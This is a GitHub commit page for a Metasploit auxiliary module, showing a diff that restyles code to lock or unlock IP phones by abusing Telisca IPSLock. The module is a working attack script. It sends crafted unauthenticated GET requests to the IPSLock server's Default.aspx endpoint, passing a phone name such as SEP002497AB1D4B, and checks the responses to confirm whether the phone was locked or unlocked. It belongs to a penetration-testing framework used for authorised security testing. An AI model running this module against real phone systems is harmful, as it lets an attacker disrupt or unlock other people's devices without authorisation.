Skip to content

Commit eb6cff7

Browse files
wchen-r7wchen-r7
committed
Update the code to today's standards
Mainly making sure it is following the Ruby style guide, and avoid unrecommended coding practices.
1 parent 46f0651 commit eb6cff7

File tree

1 file changed

+110
-91
lines changed

1 file changed

+110
-91
lines changed

‎modules/auxiliary/voip/telisca_ips_lock_abuse.rb

Lines changed: 110 additions & 91 deletions
Original file line numberDiff line numberDiff line change
@@ -7,137 +7,156 @@
77

88
class Metasploit3 < Msf::Auxiliary
99

10-
include Msf::Auxiliary::Report
1110
include Msf::Exploit::Remote::HttpClient
1211

1312
def initialize(info = {})
1413
super(update_info(info,
15-
'Name' => 'Telisca IPSLock Abuse',
16-
'Description' => %q{This modules will exploit the vulnerabilities of Telisca IPSLock , in order to lock/unlock IP Phones. you need to be in the voip vlan and you have to know the phone name example : SEP002497AB1D4B . Set ACTION to either LOCK or UNLOCK UNLOCK is the default.},
14+
'Name' => 'Telisca IPS Lock Control',
15+
'Description' => %q{
16+
This modules will exploit the vulnerabilities of Telisca IPSLock in order to lock or unlock
17+
IP Phones. You need to be in the voip vlan and you have to know the phone name.
18+
Example : SEP002497AB1D4B.
19+
20+
Set ACTION to either LOCK or UNLOCK. UNLOCK is the default.
21+
},
1722
'References' =>
18-
[
19-
],
23+
[
24+
# First publicly known resource
25+
'URL', 'https://github.com/rapid7/metasploit-framework/pull/6470'
26+
],
2027
'Author' =>
21-
[
22-
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',
23-
'zirsalem'
24-
], 'License' => MSF_LICENSE,
28+
[
29+
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',
30+
'zirsalem'
31+
],
2532
'License' => MSF_LICENSE,
26-
'DisclosureDate' => "Dec 17 2015",
27-
'Actions' =>
33+
'DisclosureDate' => 'Dec 17 2015',
34+
'Actions' =>
2835
[
29-
['LOCK'],
30-
['UNLOCK']
36+
['LOCK', 'Description' => 'To lock a phone'],
37+
['UNLOCK', 'Description' => 'To unlock a phone']
3138
],
39+
'DefaultAction' => 'UNLOCK'
3240
))
41+
3342
register_options(
3443
[
35-
OptString.new('PHONENAME', [true, 'The name of the victim phone ex SEP002497AB1D4B ']),
36-
OptString.new('RHOST', [true, 'The IPSLock IP Address']),
37-
OptString.new('ACTION', [true, 'LOCK OR UNLOCK','LOCK']),
44+
OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']),
45+
OptString.new('PHONENAME', [true, 'The name of the victim phone. Ex: SEP002497AB1D4B'])
3846
], self.class)
47+
3948
deregister_options('RHOSTS')
40-
end
49+
end
50+
51+
def print_status(msg='')
52+
super("#{peer} - #{msg}")
53+
end
54+
55+
def print_good(msg='')
56+
super("#{peer} - #{msg}")
57+
end
58+
59+
def print_error(msg='')
60+
super("#{peer} - #{msg}")
61+
end
4162

63+
# Returns the status of the listening port.
64+
#
65+
# @return [Boolean] TrueClass if port open, otherwise FalseClass.
4266
def port_open?
4367
begin
44-
res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
68+
res = send_request_raw({'method' => 'GET', 'uri' => '/'})
4569
return true if res
4670
rescue ::Rex::ConnectionRefused
47-
vprint_status("#{peer} - Connection refused")
48-
return false
71+
vprint_status("Connection refused")
4972
rescue ::Rex::ConnectionError
50-
vprint_error("#{peer} - Connection failed")
51-
return false
73+
vprint_error("Connection failed")
5274
rescue ::OpenSSL::SSL::SSLError
53-
vprint_error("#{peer} - SSL/TLS connection error")
54-
return false
75+
vprint_error("SSL/TLS connection error")
5576
end
77+
78+
false
5679
end
5780

81+
# Locks a device.
5882
#
59-
# Lock a phone . Function returns true or false
83+
# @param phone_name [String] Name of the phone used for the pn parameter.
6084
#
61-
def lock(phone_name,ips_ip)
62-
sid = ''
63-
begin
64-
res = send_request_cgi({
65-
'method' => 'GET',
66-
'uri' => '/IPSPCFG/user/Default.aspx',
67-
'vars_get' => {
68-
'action' => 'DO',
69-
'tg' => 'L',
70-
'pn' => phone_name,
71-
'dp' => '',
72-
'gr' => '',
73-
'gl' => ''
74-
}
75-
})
76-
if res and res.code == 200
77-
if res.body.include? "Unlock" or res.body.include? "U7LCK"
78-
print_good("The deivice #{phone_name} is already locked")
79-
elsif res.body.include? "unlocked" or res.body.include? "Locking" or res.body.include? "QUIT"
80-
print_good("Deivice #{phone_name} successfully locked")
81-
end
82-
else
83-
print_error("Lock Request Error #{res.code}")
84-
return nil
85+
# @return [void]
86+
def lock(phone_name)
87+
res = send_request_cgi({
88+
'method' => 'GET',
89+
'uri' => '/IPSPCFG/user/Default.aspx',
90+
'vars_get' => {
91+
'action' => 'DO',
92+
'tg' => 'L',
93+
'pn' => phone_name,
94+
'dp' => '',
95+
'gr' => '',
96+
'gl' => ''
97+
}
98+
})
99+
100+
if res && res.code == 200
101+
if res.body.include?('Unlock') || res.body.include?('U7LCK')
102+
print_good("The device #{phone_name} is already locked")
103+
elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT')
104+
print_good("Device #{phone_name} successfully locked")
85105
end
86-
rescue ::Exception => e
87-
print_error("Error: #{e.to_s}")
88-
return nil
106+
elsif res
107+
print_error("Unexpected response #{res.code}")
108+
else
109+
print_error('The connection timed out while trying to lock.')
89110
end
90-
return false
91-
end
111+
end
112+
92113

114+
# Unlocks a phone.
93115
#
94-
# Unlock a phone . Function returns true or false
116+
# @param phone_name [String] Name of the phone used for the pn parameter.
95117
#
96-
def unlock(phone_name,ips_ip)
97-
begin
98-
res = send_request_cgi({
99-
'method' => 'GET',
100-
'uri' => '/IPSPCFG/user/Default.aspx',
101-
'headers' => {
102-
'Connection' => 'keep-alive',
103-
'Accept-Language' => 'en-US,en;q=0.5'
104-
},
105-
'vars_get' => {
106-
'action' => 'U7LCK',
107-
'pn' => phone_name,
108-
'dp' => ''
109-
}
110-
})
111-
if res and res.code == 200
112-
if res.body.include? "Unlock" or res.body.include? "U7LCK"
113-
print_good("The device #{phone_name} is already locked")
114-
return true
115-
elsif res.body.include? "unlocked" or res.body.include? "QUIT"
116-
print_good("The device #{phone_name} successfully unlocked")
117-
return true
118-
end
119-
else
120-
print_error("UNLOCK Request Error #{res.code}")
121-
return nil
122-
end
123-
rescue ::Exception => e
124-
print_error("Error: #{e.to_s}")
125-
return nil
118+
# @return [void]
119+
def unlock(phone_name)
120+
res = send_request_cgi({
121+
'method' => 'GET',
122+
'uri' => '/IPSPCFG/user/Default.aspx',
123+
'headers' => {
124+
'Connection' => 'keep-alive',
125+
'Accept-Language' => 'en-US,en;q=0.5'
126+
},
127+
'vars_get' => {
128+
'action' => 'U7LCK',
129+
'pn' => phone_name,
130+
'dp' => ''
131+
}
132+
})
133+
134+
if res && res.code == 200
135+
if res.body.include?('Unlock') || res.body.include?('U7LCK')
136+
print_good("The device #{phone_name} is already locked")
137+
elsif res.body.include?('unlocked') || res.body.include?('QUIT')
138+
print_good("The device #{phone_name} successfully unlocked")
139+
end
140+
elsif res
141+
print_error("Unexpected response #{res.code}")
142+
else
143+
print_error('The connection timed out while trying to unlock')
126144
end
127-
return nil
128145
end
146+
147+
129148
def run
130-
if not port_open?
131-
print_error("The web server is unreachable !")
149+
unless port_open?
150+
print_error('The web server is unreachable!')
132151
return
133152
end
153+
134154
phone_name = datastore['PHONENAME']
135-
ipsserver = datastore['RHOST']
136155
case action.name
137156
when 'LOCK'
138-
res = lock(phone_name,ipsserver)
157+
lock(phone_name)
139158
when 'UNLOCK'
140-
res = unlock(phone_name,ipsserver)
159+
unlock(phone_name)
141160
end
142161
end
143162
end

0 commit comments

Comments
 (0)